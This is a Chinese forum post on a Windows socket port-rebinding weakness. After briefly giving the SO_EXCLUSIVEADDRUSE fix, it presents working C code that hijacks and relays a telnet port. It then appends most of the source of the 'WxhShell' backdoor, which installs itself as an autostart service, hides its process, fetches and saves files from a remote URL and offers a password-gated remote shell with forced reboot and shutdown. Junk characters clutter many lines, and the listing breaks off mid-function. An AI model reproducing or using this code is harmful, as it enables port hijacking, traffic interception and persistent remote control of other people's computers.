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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @!-= :<h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gaJS6*P#  
]ba<4:[Go  
  saddr.sin_family = AF_INET; NXV%j},>  
X'5te0v`3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yF*JzE 7,  
Z7(hW,60  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g+f{I'j  
wL*z+>5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .{6TX"M  
kys?%Y1  
  这意味着什么?意味着可以进行如下的攻击: MRs8l  
5<u+2x8|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e}kG1C8  
6>l-jTM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |YH1q1l  
Yy&0b(m U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `jJb) z3D  
nX   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l|DOsI'r  
D%Wr/6X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *e^ ZH  
Dv$xP)./  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .EI/0"^  
J%nJO3,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X/@Gx 4  
pgI@[zp7  
  #include sg3%n0Ms.W  
  #include k07O.9>  
  #include S>6APQ-   
  #include    ohwQ%NDl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w^r*qi"  
  int main() :`_wy-}V  
  { <)M?qkjb  
  WORD wVersionRequested; ]^s4NXf+  
  DWORD ret; p 0-\G6  
  WSADATA wsaData; qoEOM%dAqV  
  BOOL val; (A1!)c  
  SOCKADDR_IN saddr; }ts?ZR^V,  
  SOCKADDR_IN scaddr; 7UMsKE-  
  int err; iJ~p X\FKO  
  SOCKET s; GU=h2LSi]  
  SOCKET sc; *FO']D  
  int caddsize; ~Su>^T(?-  
  HANDLE mt; $BG9<:p  
  DWORD tid;   p t<84CP  
  wVersionRequested = MAKEWORD( 2, 2 ); g|W~0A@D  
  err = WSAStartup( wVersionRequested, &wsaData ); r8@:Ko= a  
  if ( err != 0 ) { {D7!'Rq,  
  printf("error!WSAStartup failed!\n"); pnf3YuB  
  return -1; 0O[q6!&]  
  } #u#s'W  
  saddr.sin_family = AF_INET; keX0br7u_  
   M5D,YC3<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |gT$M _}  
D|OX]3~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $)kIYM&  
  saddr.sin_port = htons(23); :V`q;g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w^dB1Y7c(W  
  { x *(pr5k  
  printf("error!socket failed!\n"); z]tvy).  
  return -1; K2NnA  
  } IUwY/R9Q  
  val = TRUE; n`CmbM@@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sjztT<{Q^-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GK:*|jV  
  { a}MOhM6T  
  printf("error!setsockopt failed!\n"); V<+d o|@F  
  return -1; wN;o++6V  
  } ='>k|s:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D*heYh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cJL>,Z<|%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,OG sx  
Yr"G)i~"Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <` HLG2  
  { M7UVL&_z%  
  ret=GetLastError(); _bFX(~37z?  
  printf("error!bind failed!\n"); c}$?k@=  
  return -1; ?f:FmgQk  
  } _^Rf*G!  
  listen(s,2); vfmKYiLp  
  while(1) E+csK*A7  
  { . [*6W.X  
  caddsize = sizeof(scaddr); i yMIP~N,$  
  //接受连接请求 ."cC^og  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ig3uY#  
  if(sc!=INVALID_SOCKET) 1NA>W   
  { R /iB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^+!!:J|ra  
  if(mt==NULL) ^?w6  
  { F~z4T/TN%G  
  printf("Thread Creat Failed!\n"); 9^>nZ6  
  break; `nn;E% n  
  } BIS5u4  
  } q>f1V3  
  CloseHandle(mt); Q;Xb-\\  
  } q=Q5s?sQc  
  closesocket(s); N(6|TE2  
  WSACleanup(); H"].G^V\6  
  return 0; kznmA`#jn  
  }   p e |k}{  
  DWORD WINAPI ClientThread(LPVOID lpParam) rWAJL9M  
  { ,"5Fw4G6*  
  SOCKET ss = (SOCKET)lpParam; O~Pb u[C  
  SOCKET sc; k oZqoP  
  unsigned char buf[4096]; 7l%O:M(\  
  SOCKADDR_IN saddr; (?;Fnq  
  long num; `+{|k)2B  
  DWORD val; u0Irf"Ab  
  DWORD ret; ^0c:ro  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "=N[g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5o'V}  
  saddr.sin_family = AF_INET; 4ijoAW3A^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cea%M3  
  saddr.sin_port = htons(23); 8?J\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yIOoVi\m  
  { G"3D"7f a  
  printf("error!socket failed!\n"); U_B"B;ng+  
  return -1; S3A OT  
  } Ks7DoXCvE  
  val = 100; {H=DeQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l0l2fwz(  
  { X70G@-w  
  ret = GetLastError(); rK9X68)  
  return -1; IEmtt^C  
  } ":tQYo]d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wk' |gI[W  
  { mtvfG  
  ret = GetLastError(); uR"(0_  
  return -1; UW8 8JA0  
  } $ nx&(V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &Vd,{JU  
  { $&OoxC  
  printf("error!socket connect failed!\n"); y?zNxk/p  
  closesocket(sc); :?O+EE  
  closesocket(ss); 2aNCcZw0  
  return -1; 37Q9goMov  
  } Z4b<$t[u  
  while(1) #"jEc*&=  
  { ckHHD|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h}nceH0s3d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mhv{6v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2zZ" }Zr#  
  num = recv(ss,buf,4096,0); @rB!47!  
  if(num>0) oQ{(7.e7)  
  send(sc,buf,num,0); 0sD"Hu  
  else if(num==0) [yF>W$Bn%  
  break; /\q1,}M  
  num = recv(sc,buf,4096,0); 7`9J.L&,;  
  if(num>0) WyF1Fw  
  send(ss,buf,num,0); /=).)<&|R  
  else if(num==0) }lvD 5  
  break; G];5'd~C;d  
  } 1O"7%Pvw  
  closesocket(ss); dj3}Tjt  
  closesocket(sc); _3i.o$GO  
  return 0 ; xlg6cO  
  } k z"F4?,  
B{hP#bYK  
G|*^W;(Z  
========================================================== RP?UKOc  
S:"R/EE(  
下边附上一个代码,,WXhSHELL p(-f$Q(  
IxNY%&* `  
========================================================== n}Pz:  
h&|q>M3  
#include "stdafx.h" @ )owj^sA  
2K0HN  
#include <stdio.h> ]@wee08  
#include <string.h> 6`Zx\bPDm  
#include <windows.h> ;5urIYd  
#include <winsock2.h> xXp$Nm]:  
#include <winsvc.h> )u)]#z  
#include <urlmon.h> jq#uBU %  
i"V2=jTeBv  
#pragma comment (lib, "Ws2_32.lib") @F%H 1  
#pragma comment (lib, "urlmon.lib") X458%)G!(K  
cOkjeHs 5  
#define MAX_USER   100 // 最大客户端连接数 %eW[`uyV  
#define BUF_SOCK   200 // sock buffer A2LqBirkl  
#define KEY_BUFF   255 // 输入 buffer wDJbax?  
TY6 D.ikA  
#define REBOOT     0   // 重启 MBXja#(k  
#define SHUTDOWN   1   // 关机 g?'pb*PR  
(\S/  
#define DEF_PORT   5000 // 监听端口 )L fXb9}  
%%5K%z,R#  
#define REG_LEN     16   // 注册表键长度 +o^b ,!  
#define SVC_LEN     80   // NT服务名长度 A2.[P==  
vu-QyPnS|w  
// 从dll定义API 1n|)05p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l?F-w;wHN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ss ;C1:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cK6M8:KW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZU\TA|  
mVUDPMyZ  
// wxhshell配置信息 VbQ9o  
struct WSCFG { j{PuZ^v1  
  int ws_port;         // 监听端口 9,g &EnvG  
  char ws_passstr[REG_LEN]; // 口令 eJD !dGa  
  int ws_autoins;       // 安装标记, 1=yes 0=no *E lR  
  char ws_regname[REG_LEN]; // 注册表键名 .b'hVOs{  
  char ws_svcname[REG_LEN]; // 服务名 #Q320}]{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DWT4D)C,U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OJ0Dw*K<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KFd !wZ @e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7[aSP5e>T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H=Sy.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yv2BbrYyy  
}H2<w-,+  
}; 5[NF  
kH$)0nK  
// default Wxhshell configuration T <J%|d .'  
struct WSCFG wscfg={DEF_PORT, woIcW  
    "xuhuanlingzhe", 0=  ]RG  
    1, U6SgV 8  
    "Wxhshell", l{OU \  
    "Wxhshell", Hp`Mp)1s  
            "WxhShell Service", E5@U~|V[  
    "Wrsky Windows CmdShell Service", g_{hB5N](7  
    "Please Input Your Password: ", Ewg5s?2|  
  1, A#t#c*  
  "http://www.wrsky.com/wxhshell.exe", B]jI^( P  
  "Wxhshell.exe" >:7W.QLRU  
    }; _h;#\ )%~  
j n[%@zD}  
// 消息定义模块 O{WJi;l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tu(k"'aJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4'L%Wz[6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z[+H$=$%  
char *msg_ws_ext="\n\rExit."; 57:Wh= x  
char *msg_ws_end="\n\rQuit."; ODE9@]a  
char *msg_ws_boot="\n\rReboot..."; eLC}h %  
char *msg_ws_poff="\n\rShutdown..."; w s(9@  
char *msg_ws_down="\n\rSave to "; @mM])V  
OFS` ?>  
char *msg_ws_err="\n\rErr!"; |%6zhkoufM  
char *msg_ws_ok="\n\rOK!"; h ]'VAt  
CH h]v.V  
char ExeFile[MAX_PATH]; Ga o(3Y  
int nUser = 0; /y2upu*!  
HANDLE handles[MAX_USER]; uYk4qorA  
int OsIsNt; 4E&= qC]S  
^'"sFEV7RN  
SERVICE_STATUS       serviceStatus; ZT@a2:&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zD8q(]: A  
"f'pa&oHi  
// 函数声明 -t28"jyj  
int Install(void); K]q9wR'q  
int Uninstall(void); G4Y]fzC  
int DownloadFile(char *sURL, SOCKET wsh); xv! QO  
int Boot(int flag); "+^d.13+]  
void HideProc(void); Vj.5b0/(  
int GetOsVer(void); e%#8]$  
int Wxhshell(SOCKET wsl); v&CKtk!3{  
void TalkWithClient(void *cs); 0>jo+b\D$  
int CmdShell(SOCKET sock); m*VM1kV  
int StartFromService(void); ;jb+x5t  
int StartWxhshell(LPSTR lpCmdLine); -u6`B -T  
gHS;RF9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }^J&D=J5V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !?Tu pi  
4v#3UG  
// 数据结构和表定义 9HI9([Cs  
SERVICE_TABLE_ENTRY DispatchTable[] = #]`ejr:2O  
{ VN=S&iBa/  
{wscfg.ws_svcname, NTServiceMain}, x Hw$  
{NULL, NULL} %;,D:Tv=&  
}; = Mc]FCV  
pf.T{/%  
// 自我安装 :z=/z!5:j  
int Install(void) |q$br-0+  
{ ],%}}UN  
  char svExeFile[MAX_PATH]; D_E^%Ea&`  
  HKEY key; #mqz*=L3  
  strcpy(svExeFile,ExeFile); xBGSj[1`i  
Z@j$i\,`  
// 如果是win9x系统,修改注册表设为自启动 B^(0>Da\  
if(!OsIsNt) { !:3NPjhf1Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X~RET[L2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _\ n'uW$  
  RegCloseKey(key); %^RlE@l9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rs;,_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !ViHC}:   
  RegCloseKey(key); O'JH= '  
  return 0; U[~BW[[@f  
    } 1'EMYQ  
  } F0Xv84:O  
} 7I4G:-V:^  
else { D@H'8C\  
?Gr<9e2Eo  
// 如果是NT以上系统,安装为系统服务 `xbk)oW#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); avls[Bq  
if (schSCManager!=0) =Fea vyx  
{ hMw}[6m  
  SC_HANDLE schService = CreateService zqYfgV  
  ( LJZEM;;}  
  schSCManager, 3 Yl[J;i  
  wscfg.ws_svcname, u7`<m.\  
  wscfg.ws_svcdisp, Z.m.Uyz{7  
  SERVICE_ALL_ACCESS, K@*m6)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *cTN5 S>  
  SERVICE_AUTO_START, 13A11XTp  
  SERVICE_ERROR_NORMAL, 2!dIW5I  
  svExeFile, zEY Ey1  
  NULL, R|t.wawCo  
  NULL, 8%7H F:  
  NULL, r3ZY` zf  
  NULL, f%*-PW^*  
  NULL D'O[0?N"g  
  ); @tjC{?5Y  
  if (schService!=0) L0|Vc9  
  { Re<X~j5]  
  CloseServiceHandle(schService); 6@o_MtI  
  CloseServiceHandle(schSCManager); WP^%[?S2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iCk34C7  
  strcat(svExeFile,wscfg.ws_svcname); >E"FoZM=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C&Nd|c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3{CGYd]_u  
  RegCloseKey(key); u[2R>=  
  return 0; */\dH<  
    } &$hfAG]"  
  } pSq\3Hp]Q  
  CloseServiceHandle(schSCManager); pS%,wjb&P  
} [Z Ea3/  
} # FaR?L![Y  
=NJb9S&8A  
return 1; 0?,EteR  
} 5+%BZ  
b'9G`Y s^  
// 自我卸载 L?KEe>;r  
int Uninstall(void) |Z 3POD"9  
{ >47,Hq:2  
  HKEY key; eMz,DYa/G  
Gq-U}r  
if(!OsIsNt) { {AIZ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _IpW &  
  RegDeleteValue(key,wscfg.ws_regname); zKV {JUpG  
  RegCloseKey(key); o'Tqqrr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 103^\Av8  
  RegDeleteValue(key,wscfg.ws_regname); RFA5vCG  
  RegCloseKey(key); vgE5(fJh  
  return 0; f"Iv  
  } Fd'Ang6"  
} ~q|^z[7  
} a.8nWs^  
else { kf5921(P  
iQa Q"s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X#eVw|  
if (schSCManager!=0) $g|g}>Sc  
{ u4+VG5.rhT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OZt'ovY  
  if (schService!=0) ~=c^ Oo:  
  { .Uih|h  
  if(DeleteService(schService)!=0) { /Zv}u  
  CloseServiceHandle(schService); T,?^J-h^  
  CloseServiceHandle(schSCManager); i, RK0q?>  
  return 0; r&ToUU 5  
  } D]oS R7h  
  CloseServiceHandle(schService); .+[[m$J  
  } = )(;  
  CloseServiceHandle(schSCManager); 1uy+'2[Z-D  
} q(uu;l[  
} s` S<BX7  
*2@ q=R-1  
return 1; +;>>c`{  
} Q6vkqu5!=  
HDy[/7"  
// 从指定url下载文件 {ZfTUt)-P  
int DownloadFile(char *sURL, SOCKET wsh) /-4%ug tD$  
{ /D~ ,X48+  
  HRESULT hr; Vx#xq#wK  
char seps[]= "/"; Tp0Tce/  
char *token; #4" \\  
char *file; R(q fP  
char myURL[MAX_PATH]; cCj}{=U  
char myFILE[MAX_PATH]; \{~x<<qFd  
0q62{p7  
strcpy(myURL,sURL); ZMx<:0ai  
  token=strtok(myURL,seps); =n#xnZ3  
  while(token!=NULL) ~^3B(feQ]  
  { 2oq>tnYyV[  
    file=token; '{Ywb@Bc  
  token=strtok(NULL,seps); 7v\OS-  
  } lR-4"/1|y  
S*\`LBl"nX  
GetCurrentDirectory(MAX_PATH,myFILE); sjzZl*GSy  
strcat(myFILE, "\\"); I=lA7}  
strcat(myFILE, file); AalyEn&>  
  send(wsh,myFILE,strlen(myFILE),0); .UJDn^@  
send(wsh,"...",3,0); 4l z9z>J.V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;>YJ}:r"\  
  if(hr==S_OK) \s)j0F)  
return 0; 7qnw.7p  
else w1iQ#.4K_  
return 1; UDxfS4yI  
]C'r4Ch^  
} :K W   
fw-LZ][  
// 系统电源模块 30B! hj$C  
int Boot(int flag) L%=u&9DmU  
{ EJN}$|*Av  
  HANDLE hToken; G:A` n;E0  
  TOKEN_PRIVILEGES tkp; RJSNniYr7  
gI T"nG=a4  
  if(OsIsNt) { xe_c`%_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jg2>=}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 38JvJR yK}  
    tkp.PrivilegeCount = 1; `A?/Ww>;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [,l BY-Kz+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?_ p3^kl  
if(flag==REBOOT) { M<Eg<*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mGoUF$9 k  
  return 0; E Xo"F*gW  
} B 6|=kl2C  
else { Xi$uK-AHpj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) esFBWJ  
  return 0; $,bLb5}Qu  
} !WAbO(l  
  } Pq !\6s@  
  else { \vpUl  
if(flag==REBOOT) { $1/yc#w u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gh3_})8c  
  return 0; NouT~K`'  
} _sx]`3/86  
else { Z+FJ cvYx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i. 6c;KU  
  return 0; C+jlIT+  
} }zj_Pp  
} <08)G7  
T[q2quXgk  
return 1; -PoW56  
} 4Bs '5@  
eUQrn>`  
// win9x进程隐藏模块 }cEcoi<v!  
void HideProc(void) AwUcU;"9>  
{ N-y[2]J90  
o4\\q66K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h b_"E, `F  
  if ( hKernel != NULL ) _?CyKk\I  
  { &M&*3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xo a1='  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *3d+ !#;rG  
    FreeLibrary(hKernel); gwm!Pw j  
  }  6g576  
kZ>_m &g  
return; E{k$4  
} g1Ed:V]_  
n 9PYZxy  
// 获取操作系统版本 j4k\5~yzS  
int GetOsVer(void) 8BE] A_X  
{ ;G.5.q[A  
  OSVERSIONINFO winfo; lE'3UqK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J2adG+=  
  GetVersionEx(&winfo); ]l>LU2 sx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1-0tG+  
  return 1; HCfme<'  
  else ;x%"o[[>  
  return 0; %;_94!(hC  
} ^F,sV*  
B>.x@(}V~  
// 客户端句柄模块 {ppzg`G\  
int Wxhshell(SOCKET wsl) /s*.:cdH  
{ U}@xMt8@l  
  SOCKET wsh; 4Hy/K^Ci  
  struct sockaddr_in client; !6!Gx:  
  DWORD myID; M8nfbc^  
}`cf3'rdk  
  while(nUser<MAX_USER) ' _d4[Olu  
{ UodBK7y  
  int nSize=sizeof(client); J-#V_TzJ?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y+3+iT@i  
  if(wsh==INVALID_SOCKET) return 1; k/P.[5  
<Pzy'9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); is }>+&_  
if(handles[nUser]==0) !iO2yp  
  closesocket(wsh); @}=(4%  
else 3xT9/8*  
  nUser++; FA%_jM  
  } U0gZf5;*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $=iw<B r  
{{jV!8wK  
  return 0; Kci. ,I  
}  />Q}0H g  
I`zd:o]  
// 关闭 socket W1 k]P.  
void CloseIt(SOCKET wsh) c/Xg ARCO  
{ f WZ(  
closesocket(wsh); ~w a6S?  
nUser--; Fvf |m7  
ExitThread(0); |>yWkq   
} N0H=;CIQ  
XEQTTD<  
// 客户端请求句柄 N+'j on}U  
void TalkWithClient(void *cs) d2V X\  
{ O&1qL)  
f. "\~  
  SOCKET wsh=(SOCKET)cs; #8|LPfA  
  char pwd[SVC_LEN]; s'h;a5Q1'Q  
  char cmd[KEY_BUFF]; ,Klv[_x7  
char chr[1]; )rq |t9kix  
int i,j; MfP)Pk5  
z@yTkH_  
  while (nUser < MAX_USER) { 0?<#!  
v8)"skVnFG  
if(wscfg.ws_passstr) { MF8-q'upyT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =5q<_as  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DcW?L^Mst  
  //ZeroMemory(pwd,KEY_BUFF); HwFX,?  
      i=0; z5kAf~A  
  while(i<SVC_LEN) { hq)1YO  
83n%pS4x  
  // 设置超时 gv''A"  
  fd_set FdRead; #;$]M4  
  struct timeval TimeOut; L=l&,ENy  
  FD_ZERO(&FdRead); q`VL i  
  FD_SET(wsh,&FdRead); u= NLR\  
  TimeOut.tv_sec=8; 4f([EV[6dK  
  TimeOut.tv_usec=0; iQ;p59wSzL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O`B,mgT(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %{@Q7  
w G%W{T$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p49]{2GXb  
  pwd=chr[0]; A*EOn1hN  
  if(chr[0]==0xd || chr[0]==0xa) { q`q;og `  
  pwd=0; ilA45@  
  break; WMSJU/-P  
  } AcC &Q:g  
  i++; FACw;/rW  
    } tAdE<).!  
(N7 uaZ?Z  
  // 如果是非法用户,关闭 socket ;mkkaW,D*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^[M{s(b  
} TSlB.pw%v  
d$zJLgkA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i[v4[C=WB!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +0'F@l  
K3T.l#d'L  
while(1) { m`/Nl<  
EB~]6.1  
  ZeroMemory(cmd,KEY_BUFF); Lo%n{*if  
'5e,@t%y  
      // 自动支持客户端 telnet标准   l<6u@,%s  
  j=0; [#PE'i4  
  while(j<KEY_BUFF) { M]x> u@JH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b 7UJ  
  cmd[j]=chr[0]; o ).deP s-  
  if(chr[0]==0xa || chr[0]==0xd) { 3k Ci5C  
  cmd[j]=0; (}: s[cs  
  break; j~CnMKN  
  } a`xq h2P  
  j++; p4`1^}f&Ie  
    } |>.Q U3  
"-J 5!y*,Y  
  // 下载文件 kv+%  
  if(strstr(cmd,"http://")) { Dw-d`8*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *{g3ia  
  if(DownloadFile(cmd,wsh)) @~3--  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iUx\3d,  
  else 34@[ZKJ5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GG} %  
  } z/@_?01T=  
  else { C?PQ>Q!f-  
#[93$)Gd!  
    switch(cmd[0]) { @:lM|2:  
  ex3Qbr  
  // 帮助 18X@0e  
  case '?': { gFDnt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !"<[&  
    break; FFHq':v  
  } ll:UIxx  
  // 安装 ~+q1g[6  
  case 'i': { !jCgTo y  
    if(Install()) m,l/=M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %y1!'R:ZW  
    else %)ho<z:7U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &#r+a'  
    break; P3M$&::D-  
    } d} >Po%r:  
  // 卸载  q+P@2FL  
  case 'r': { B2`S0 H  
    if(Uninstall()) 9zaN fs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); blO4)7m  
    else /l$x}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2YD\KXDo  
    break; `Sod]bO +U  
    } BN/ 4O?jD9  
  // 显示 wxhshell 所在路径 X/_I2X  
  case 'p': { K)Y& I  
    char svExeFile[MAX_PATH]; sdp&D@  
    strcpy(svExeFile,"\n\r"); w5FIHYl6B  
      strcat(svExeFile,ExeFile); EF/d7  
        send(wsh,svExeFile,strlen(svExeFile),0); 1 ZdB6U0  
    break; 5Qgu:)}  
    } 5_yQI D%Sq  
  // 重启 -I< >Ab  
  case 'b': { s!6lZ mPM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Jr1K,  
    if(Boot(REBOOT)) *k?:k78L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3WOp80hz  
    else { >w,L=z=  
    closesocket(wsh); 2.qPMqH  
    ExitThread(0); ?hoOSur+  
    } u@a){ A(P  
    break; T,38Pu@r  
    } 'nmGHorp  
  // 关机 n ]%2Kx  
  case 'd': { Y,]Lk<Hm3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5eAZfe%H  
    if(Boot(SHUTDOWN)) n Ja!&G&  
